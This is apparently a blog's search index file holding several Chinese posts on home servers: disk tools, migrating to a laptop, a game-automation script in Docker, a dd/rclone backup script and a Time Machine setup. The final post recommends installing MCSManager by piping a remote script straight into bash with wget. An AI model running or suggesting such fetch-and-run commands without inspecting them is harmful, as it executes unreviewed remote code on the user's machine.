-
Notifications
You must be signed in to change notification settings - Fork 0
/
search.xml
896 lines (431 loc) · 431 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>linux下的crazydiskinfo</title>
<link href="/2024/10/27/linux%E4%B8%8B%E7%9A%84crazydiskinfo/"/>
<url>/2024/10/27/linux%E4%B8%8B%E7%9A%84crazydiskinfo/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410271701465.jpg"></p><p>CrazyDiskInfo是一款用于Unix类系统的交互式TUI S.M.A.R.T查看器,可以查看硬盘健康情况,是否有坏扇区等。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410271705139.png"></p><p>然而国内的教程太垃圾了,多少年前的还在互相抄,抄来抄去的还只有自己编译这条路。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://github.com/otakuto/crazydiskinfo</span><br></pre></td></tr></table></figure><p>本文并不反对你去源码编译,只作为存档记录一下获取安装包的方法。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://ftp.debian.org/debian/pool/main/c/crazydiskinfo/</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410271705493.png"></p>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> 服务器 </tag>
<tag> Linux </tag>
<tag> 运维 </tag>
</tags>
</entry>
<entry>
<title>服务器更新指南</title>
<link href="/2024/10/22/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%9B%B4%E6%96%B0%E6%8C%87%E5%8D%97/"/>
<url>/2024/10/22/%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%9B%B4%E6%96%B0%E6%8C%87%E5%8D%97/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410222307533.png"></p><h2 id="0x00前言"><a href="#0x00前言" class="headerlink" title="0x00前言"></a>0x00前言</h2><p>之前的nas太菜了,MC服务器带不动,功耗也高,正好之前断头+碎显示屏的yoga14c2021已经在家里吃灰一年多了,说实话1135G7就算再菜他也是比4160强,功耗还低,并且多了个电池做内部UPS(</p><h2 id="0x01去头"><a href="#0x01去头" class="headerlink" title="0x01去头"></a>0x01去头</h2><p>屏幕碎了,其原因是转轴寄了(再次奉劝任何想买联想机器的朋友,你即使不怕计划报废买了后也记得延保),必须得把这玩意整下来才方便我后续操作。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410222312531.jpeg"></p><p>我是很想把下图的在机身的转轴铰链搞下来的,但问题是他被主板压着,而主板又是被散热器+模块+电池压着,所以总的来说施工风险很高,也很麻烦,我就直接把屏幕从铰链上拆下来了,所以最后还会留着两边两个小铰链,不过无伤大雅。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410222345692.jpeg"></p><p>排线也拔了,最后效果还不错,已经是我想要的状态了</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410222318762.jpeg"></p><h2 id="0x02系统迁移"><a href="#0x02系统迁移" class="headerlink" title="0x02系统迁移"></a>0x02系统迁移</h2><p>这个本来没啥好说的,主要是被联想bios坑了。我无论是在liveCD里用GParted快速迁移还是dd缓慢迁移,他的BIOS都不认我的盘,查了半天也确实是GPT引导完全没有问题。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410222323308.jpeg"></p><p>搞半天试了一下修复分区就好了,我服了。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410222324164.jpeg"></p><p>新机器的效能还是很不错的,发一下前后对比:</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410222329215.png"></p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410222330804.png"></p><h2 id="0x03服务恢复"><a href="#0x03服务恢复" class="headerlink" title="0x03服务恢复"></a>0x03服务恢复</h2><p>记录一下恢复服务时踩的坑吧:</p><p>第一个就是桌面的锅了,一开始测试时进的就是桌面,结果MC服务器测试15分钟时断开链接了,一拍脑袋才发现忘记关了15分钟休眠的选项。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410222334301.png"></p><p>第二天早上起来发现service19个failed,问了一下群友这sddm不disable不行。重启之后就没报过错了;而且之前有个核心偶尔会占用100%,内存占用也是一口气吃了8G,我怀疑都是桌面导致的,现在cpu内存占用都很低了。</p><p>第二个坑就是迁移nextcloud和navidrome时发生的了,这两个服务的数据文件都在我的raid1阵列上,但是我现在只有一个硬盘盒,易驱线明天才到。</p><p>我一开始打算在Windows上读取单个盘,但是花了很多时间还失败了(在此之前我尝试连到Mac上,但是无法识别,这也是导致我步入windows上歧途的原因)。随后直接挂载服务器上得了,没想到一下子就读取到了</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410222338850.png"></p><p>后面迁移nextcloud服务时出现了读写问题,原因是文件夹owner是www-data,而我sudo cp下直接导致变成了root,解决方法也简单,加个-p就能保留源文件的权限、所有者和时间戳信息。</p><h2 id="0x04硬件堆放"><a href="#0x04硬件堆放" class="headerlink" title="0x04硬件堆放"></a>0x04硬件堆放</h2><p>硬盘这块,买的是亚克力板子+泡沫海绵垫,用的是易驱线+12V3A圆口电源。</p><p><strong><u>注意!这并不是一个很好的方案,可能会导致硬盘升天数据丢失,请勿模仿。</u></strong></p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410231203826.jpeg"></p><p>另外一开始买的是USB2.0,收货后发现的问题是USB2.0只能驱动2TB以下的硬盘,很神奇。USB2.0很便宜一根几块钱,但是3.0就很贵了得25元。</p><p>装的过程中还遇到了电源大小问题,如图所见这个玩意插上去后会导致相邻的插座无法插任何东西,好在旁边还有个拖线板,可以把电脑的电源插到那块儿去。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410251830644.png"></p><p>好了之后测试了一下,发现速度不敢恭维,只有30-50MB/s,不如以前插在SATA线快。但是这也没办法,另外同样有群友也有类似的问题,也是在Linux下限速但是Windows就正常了。不过这些都是小问题,总之我觉得这一套下来功耗和性能都有加强,只是灵车程度也比之前灵车多了,或许过段时间我会整篇新文章来说说翻车后抢救过程(bushi</p><h2 id="0x05-已老实"><a href="#0x05-已老实" class="headerlink" title="0x05 已老实"></a>0x05 已老实</h2><p>昨天的我:先相信</p><p>今天的我:已投降</p><p>先说原因:第一点是易驱线质量很差,4T的盘没问题,8T的盘隔一会儿就会掉盘;其次是Linux下使用外接HDD速度奇慢,我和身边的朋友以及网络上都有同样的案例,同样的外接硬盘在Windows上能跑满速度,但是接在Linux上只有30MB/s,跑不到lsusb里5Gbps的USB3.0协议(当然这个问题出现的人很多,也有朋友没有这个问题,这个我就不得而知了)</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410271504160.png"></p><p>现在换成sata了,速度正常了,那么老机器就用来刷pt了。</p>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> 服务器 </tag>
<tag> Linux </tag>
<tag> 运维 </tag>
</tags>
</entry>
<entry>
<title>ARM64(M1版)架构下macOS运行ALAS脚本</title>
<link href="/2024/10/15/ARM64%EF%BC%88M1%E7%89%88%EF%BC%89%E6%9E%B6%E6%9E%84%E4%B8%8BmacOS%E8%BF%90%E8%A1%8CALAS%E8%84%9A%E6%9C%AC/"/>
<url>/2024/10/15/ARM64%EF%BC%88M1%E7%89%88%EF%BC%89%E6%9E%B6%E6%9E%84%E4%B8%8BmacOS%E8%BF%90%E8%A1%8CALAS%E8%84%9A%E6%9C%AC/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410152008286.png"></p><h2 id="0x00前言"><a href="#0x00前言" class="headerlink" title="0x00前言"></a>0x00前言</h2><p>首先感谢Github上面MAA以及AzurLaneAutoScript的开发组,让我们有工具可用。再感谢@吕明珠LmeSzinc 、@binss以及chenhuan20123 大佬,他们的教程让我受益良多。</p><h2 id="0x01模拟器"><a href="#0x01模拟器" class="headerlink" title="0x01模拟器"></a>0x01模拟器</h2><p>安卓官方的模拟器能用,安装吧,我也想运行原生游戏安装包,但是alas似乎只能用adb进行一些操作</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://github.com/google/android-emulator-m1-preview/releases/download/0.3/android-emulator-m1-preview.dmg</span><br></pre></td></tr></table></figure><p>这个不用下载android studio,非常好(</p><p>安装后不能直接打开,需要提前进入 <code>Android Emulator.app/Contents/MacOS/api30-gphone-arm64-v8a/config.ini</code>这里面进行一些修改(非常抽象的是,如果你运行后再试图进行修改无论如何也是失效的,只能重新安装),以下是一些需要更改的字段</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">硬盘空间:<span class="attr">disk.dataPartition.size</span>=<span class="number">20480</span>M //我直接加了个<span class="number">0</span>,因为游戏下载所有资源后也差不多这么大</span><br><span class="line">运行内存:<span class="attr">hw.ramSize</span>=<span class="number">4096</span> //我觉得<span class="number">4</span>G够了</span><br><span class="line">DPI:<span class="attr">hw.lcd.density</span>=<span class="number">420</span> //这个不变</span><br><span class="line">显示高度:<span class="attr">hw.lcd.height</span>=<span class="number">720</span></span><br><span class="line">显示宽度:<span class="attr">hw.lcd.width</span>=<span class="number">1280</span></span><br></pre></td></tr></table></figure><p>运行后可能无法直接将游戏安装包拖动到窗口进行安装,说明你缺少adb,可以使用以下命令在macOS安装这些组件</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">brew install android-platform-tools</span><br><span class="line">//安装成功后可以输入以下命令获取位置</span><br><span class="line">adb version</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410152022899.png"></p><p>记得到这个界面给模拟器加上adb路径</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410152024442.png"></p><h2 id="0x02脚本安装"><a href="#0x02脚本安装" class="headerlink" title="0x02脚本安装"></a>0x02脚本安装</h2><p>先去项目原地址把代码全部git clone下来到某个位置,保留用。</p><p>其次去拉取binss大佬做的镜像<code>binss/azurlaneautoscript:arm64</code>(本质是为了mxnet1.9.0这个东西,你愿意的话也可以自己编译),然后你就可以运行一下容器了:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -it -e TZ=Asia/Shanghai --volume=你自己放alas的文件夹:/app/AzurLaneAutoScript:rw -p 22267:22267 --name azurlaneautoscript binss/azurlaneautoscript:arm64</span><br></pre></td></tr></table></figure><p>第一次运行时可以运行试试,这个镜像是半年前的,所以里面有些东西确实很正常,你可以在docker桌面端的程序里pip,也可以直接docker exec -it。我看了一下大概缺少了<code>onepush==1.3.0</code>、<code>pydantic==1.10.2</code>、<code>uiautomator2cache==0.3.0.1</code>等这几个。版本号不要照抄,对着requrements.txt文件查;也别一上来就直接安装整个requrements.txt,这会把<a href="https://binsitepublic-10018028.file.myqcloud.com/mxnet-1.9.1-py3-none-any.whl">mxnet-1.9.1</a>顶掉为1.6.0,相当于镜像白装了。</p><h2 id="0x03使用"><a href="#0x03使用" class="headerlink" title="0x03使用"></a>0x03使用</h2><p>经过几次重启容器,这次大概率可以正常使用了:serial设置为<code>host.docker.internal:5555</code>,截图方案和点击方案我都是ADB。打开webUI后可以测试一下,看看有没有问题。</p><p>有人推荐点击方案是Hermit,但我这偶尔出问题后会自动转为另一个根本不可用的方案,我无语了,目前切换为ADB一点问题都没,后面出了状况再说吧。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202410152051428.png"></p>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> macOS </tag>
<tag> 碧蓝航线 </tag>
</tags>
</entry>
<entry>
<title>Linux全盘备份指南</title>
<link href="/2024/07/30/Linux%E5%85%A8%E7%9B%98%E5%A4%87%E4%BB%BD%E6%8C%87%E5%8D%97/"/>
<url>/2024/07/30/Linux%E5%85%A8%E7%9B%98%E5%A4%87%E4%BB%BD%E6%8C%87%E5%8D%97/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202407301307619.png"></p><p>难绷之灵车服务器的系统盘炸了,损失极其惨重,这几天重新装了个Debian系统,想着有必要搞一个全盘备份系统的功能(数据备份真的很重要QAQ)。</p><p>目前用的是dd+alist+rclone,原理就是dd全盘备份+压缩+alist挂载各种云盘+rclone上传到alist的webdav上:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">!/bin/bash</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">备份并压缩脚本</span></span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">检查是否具有root权限</span></span><br><span class="line">if [ "$EUID" -ne 0 ]; then</span><br><span class="line"> echo "请使用root权限运行此脚本"</span><br><span class="line"> exit 1</span><br><span class="line">fi</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">检查是否传入了源磁盘和目标目录</span></span><br><span class="line">if [ $# -ne 2 ]; then</span><br><span class="line"> echo "使用方法: $0 <源磁盘> <目标目录>"</span><br><span class="line"> echo "例如: $0 /dev/sda /path/to/backup_directory"</span><br><span class="line"> exit 1</span><br><span class="line">fi</span><br><span class="line"></span><br><span class="line">SOURCE_DISK=$1</span><br><span class="line">TARGET_DIR=$2</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">确认源磁盘存在</span></span><br><span class="line">if [ ! -b "$SOURCE_DISK" ]; then</span><br><span class="line"> echo "源磁盘不存在: $SOURCE_DISK"</span><br><span class="line"> exit 1</span><br><span class="line">fi</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">确认目标目录存在</span></span><br><span class="line">if [ ! -d "$TARGET_DIR" ]; then</span><br><span class="line"> echo "目标目录不存在: $TARGET_DIR"</span><br><span class="line"> exit 1</span><br><span class="line">fi</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">生成目标文件名,使用下划线分割年月日时间</span></span><br><span class="line">TIMESTAMP=$(date +"%Y_%m_%d_%H_%M_%S")</span><br><span class="line">TARGET_FILE="$TARGET_DIR/backup_$TIMESTAMP.img.gz"</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">备份磁盘并压缩到目标文件</span></span><br><span class="line">echo "开始备份并压缩 $SOURCE_DISK 到 $TARGET_FILE ..."</span><br><span class="line">dd if=$SOURCE_DISK bs=4M status=progress | gzip > $TARGET_FILE</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">检查备份是否成功</span></span><br><span class="line">if [ $? -eq 0 ]; then</span><br><span class="line"> echo "备份并压缩成功: $TARGET_FILE"</span><br><span class="line"> </span><br><span class="line"><span class="meta prompt_"> # </span><span class="language-bash">使用rclone将备份文件移动到远程存储</span></span><br><span class="line"> echo "开始将备份文件移动到远程存储..."</span><br><span class="line"> rclone move $TARGET_FILE backup:/backup -P --no-check-certificate</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"> # </span><span class="language-bash">检查rclone是否成功</span></span><br><span class="line"> if [ $? -eq 0 ]; then</span><br><span class="line"> echo "备份文件移动成功"</span><br><span class="line"> else</span><br><span class="line"> echo "备份文件移动失败"</span><br><span class="line"> exit 1</span><br><span class="line"> fi</span><br><span class="line">else</span><br><span class="line"> echo "备份并压缩失败"</span><br><span class="line"> exit 1</span><br><span class="line">fi</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>保存这个脚本到一个文件中,比如<code>backup_and_compress_with_timestamp.sh</code>,然后给它可执行权限:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">chmod +x backup_and_compress_with_timestamp.sh</span><br><span class="line">sudo ./backup_and_compress_with_timestamp.sh /dev/sda /path/to/backup_directory</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202407301332892.png"></p>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> linux </tag>
<tag> Debian </tag>
</tags>
</entry>
<entry>
<title>AFP与Time Machine</title>
<link href="/2023/05/01/AFP%E4%B8%8ETime%20Machine/"/>
<url>/2023/05/01/AFP%E4%B8%8ETime%20Machine/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/20230501204251.png"></p><h2 id="0x01安装"><a href="#0x01安装" class="headerlink" title="0x01安装"></a>0x01安装</h2><p>安装Netatalk服务,用来把Linux/Unix伪装成AFP协议传输的文件服务器:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install netatalk</span><br></pre></td></tr></table></figure><p>安装avahi-daemon,用来在Linux/Unix中开启类似的Bonjour的服务:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install avahi-daemon</span><br></pre></td></tr></table></figure><h2 id="0x02配置文件"><a href="#0x02配置文件" class="headerlink" title="0x02配置文件"></a>0x02配置文件</h2><p>编辑<code>/etc/netatalk/afp.conf</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">;</span><br><span class="line">; Netatalk 3.x configuration file</span><br><span class="line">;</span><br><span class="line"></span><br><span class="line">[Global]</span><br><span class="line">; Global server settings</span><br><span class="line"></span><br><span class="line">; [Homes]</span><br><span class="line">; basedir regex = /xxxx</span><br><span class="line"></span><br><span class="line">; [My AFP Volume]</span><br><span class="line">; path = /path/to/volume</span><br><span class="line"></span><br><span class="line">; [My Time Machine Volume]</span><br><span class="line">; path = /path/to/backup</span><br><span class="line">; time machine = yes</span><br><span class="line"></span><br><span class="line">[PiCpo Time Machine]</span><br><span class="line">path = /mnt/HGST01/Time ;这是我挂载的文件目录</span><br><span class="line">time machine = yes</span><br><span class="line">valid users = user ;选择登陆的用户</span><br></pre></td></tr></table></figure><p>最后别忘了restart</p><p>选择添加afp://ip再输入用户名密码就能连接到自己的Time Machine服务器了</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/3145f8286ec543689a6b0a8614a2843e.jpeg"></p>]]></content>
<categories>
<category> 野生技术协会 </category>
</categories>
<tags>
<tag> linux </tag>
<tag> AFP </tag>
<tag> ubuntu </tag>
<tag> Time Machine </tag>
</tags>
</entry>
<entry>
<title>家用服务器折腾指南</title>
<link href="/2023/01/15/%E5%AE%B6%E7%94%A8%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%8A%98%E8%85%BE%E6%8C%87%E5%8D%97/"/>
<url>/2023/01/15/%E5%AE%B6%E7%94%A8%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%8A%98%E8%85%BE%E6%8C%87%E5%8D%97/</url>
<content type="html"><![CDATA[<p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202301151847944.jpg"></p><h2 id="0x00写在前面"><a href="#0x00写在前面" class="headerlink" title="0x00写在前面"></a>0x00写在前面</h2><p>去年暑假组了一台新电脑,老电脑逐渐用不上用场了。恰好我有刷pt的需求,还想运行MC等游戏的服务器,于是我就动手改造这台老电脑了。</p><h2 id="0x01硬件配置"><a href="#0x01硬件配置" class="headerlink" title="0x01硬件配置"></a>0x01硬件配置</h2><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202301151851767.png"></p><p>这台老电脑是15年配的:CPU是i3-4160,两个核心四个线程;主板是技嘉的丐版H81M-D2,有两个内存插槽,最大只支持8G的DDR3内存;主板有三个PCIE接口,一个PCIEx16够宽,两个PCIEx1比较短;还有四个SATA接口;另外主板太老没有HDMI只有VGA接口,除此之外的千兆以太网口没啥好说的</p><p>PCIEx16上的亮机卡是GT640 2G,其实就是装系统时候用的;PCIEx1装了个物联网开机模块,因为我要将其放到家中,而我常年在外面上学,所以这个必不可少;还有个PCIEx1是英特尔Intel Corporation Wireless 7260网卡,这个是当时在学校里倒腾这玩意时应急选项,因为当初交换机太远,显示器太近。</p><p>内存的话,只插了一根8G的DDR3内存,没想插更多是因为没有那么多服务要跑。当然了,高版本的MC多少内存都不够,不够我的U似乎也有些捉襟见肘了。</p><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202301151912133.png"></p><p>SATA四个接口全被占用啦。一个是系统盘,威刚的远古120G固态盘;一个两百块淘来的4THGST企业盘,是真的吵,也是真的烫,为此我加了个风扇改变风道,用来刷刷PT还是比较够的;之前云盘服务是在日立盘上的,但这小文件读写实在是太吵了,也不安全,于是26块包邮搞了块500G西数蓝盘,配上闲置的500G西数绿盘,组了个RAID1阵列,图个心安吧,这个阵列就是专门做云盘备份了。</p><h2 id="0x02系统与网络配置"><a href="#0x02系统与网络配置" class="headerlink" title="0x02系统与网络配置"></a>0x02系统与网络配置</h2><p>系统没啥好说的,本人不喜欢折腾,也就没有搞ESXi,我系统盘实在是太小了,我为了配置方便就直接装Ubuntu 22.04.1 LTS了。</p><p>网络的话,我家里是楼上楼下;光猫先是进入一楼的房间,通过院子里的飞线飞到二楼客厅弱电箱的交换机里。一路上的路由器我全改为了mesh组网,这是为了保证每个设备都能拿到ipv6。另外,据修网的师傅所言,上海电信的SDN只有在有公网的情况下才能正常使用ipv6(我不理解),于是我也拿到了我的一个公网v4地址,管他静态还是动态(半个多月都没改变地址),能有就是赢麻了!v4的话不支持NAT回流,就是我内网的主机没法用公网IP访问我的设备;但是v6没有公网内网之分,没有问题;还有就是v4v6都被封了80,443,8080端口。</p><h2 id="0x03游戏服务器"><a href="#0x03游戏服务器" class="headerlink" title="0x03游戏服务器"></a>0x03游戏服务器</h2><p>这个配置拿来刷pt和做NAS(不考虑转码)其实是有些暴殄天物了,刚好我的云服务器也到期了,于是就把我的游戏服务器全都迁移到家里。</p><h3 id="1-MC运维面板MCSManager"><a href="#1-MC运维面板MCSManager" class="headerlink" title="1.MC运维面板MCSManager"></a>1.MC运维面板MCSManager</h3><p><img src="https://raw.githubusercontent.com/picpo/blog-PicGo/master/202301151920251.png"></p><p>Aimed to provide a healthy software support for server administrators of Minecraft, Terraria and other game servers.</p><p>官网地址:<a href="https://mcsmanager.com/">https://mcsmanager.com/</a></p><p>这个东西简直不要太好用!我之前在云服务器上搭建的我的世界服务器,经常要不停地按UP键找历史命令,有一次还输入错误导致存档没了,非常可惜;如果想做备份和其他计划任务,说不难也不难,shell和crontab看着文档就能写出想要的东西了。但这些繁琐危险的操作本可以避免,在MCSManager里,你可以很方便地在网页端执行命令、修改配置文件、上传整合包、设定计划任务,甚至可以说,他就是一个网页Linux周期命令执行器。另外本身自带一些api,在我的NekobotQQ机器人还活着时,无需打开游戏戳一戳她就显示服务器情况和人数。</p><p>安装很简单,官网提供了wget下载的安装脚本和docker安装方式,我是推荐用wget:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget -qO- https://raw.githubusercontent.com/mcsmanager/Script/master/setup_en.sh | bash</span><br></pre></td></tr></table></figure><h3 id="2-SteamCMD"><a href="#2-SteamCMD" class="headerlink" title="2.SteamCMD"></a>2.SteamCMD</h3><p>SteamCMD is the command line version of the Steam client. The tool is used <strong>to download dedicated server applications of popular Steam games quickly and easily for running your own Valheim server or Rust server</strong>, for example.</p><p>官方网址:<a href="https://developer.valvesoftware.com/wiki/SteamCMD">https://developer.valvesoftware.com/wiki/SteamCMD</a></p><p>也挺好安装的,具体方法包括在我之前写的<a 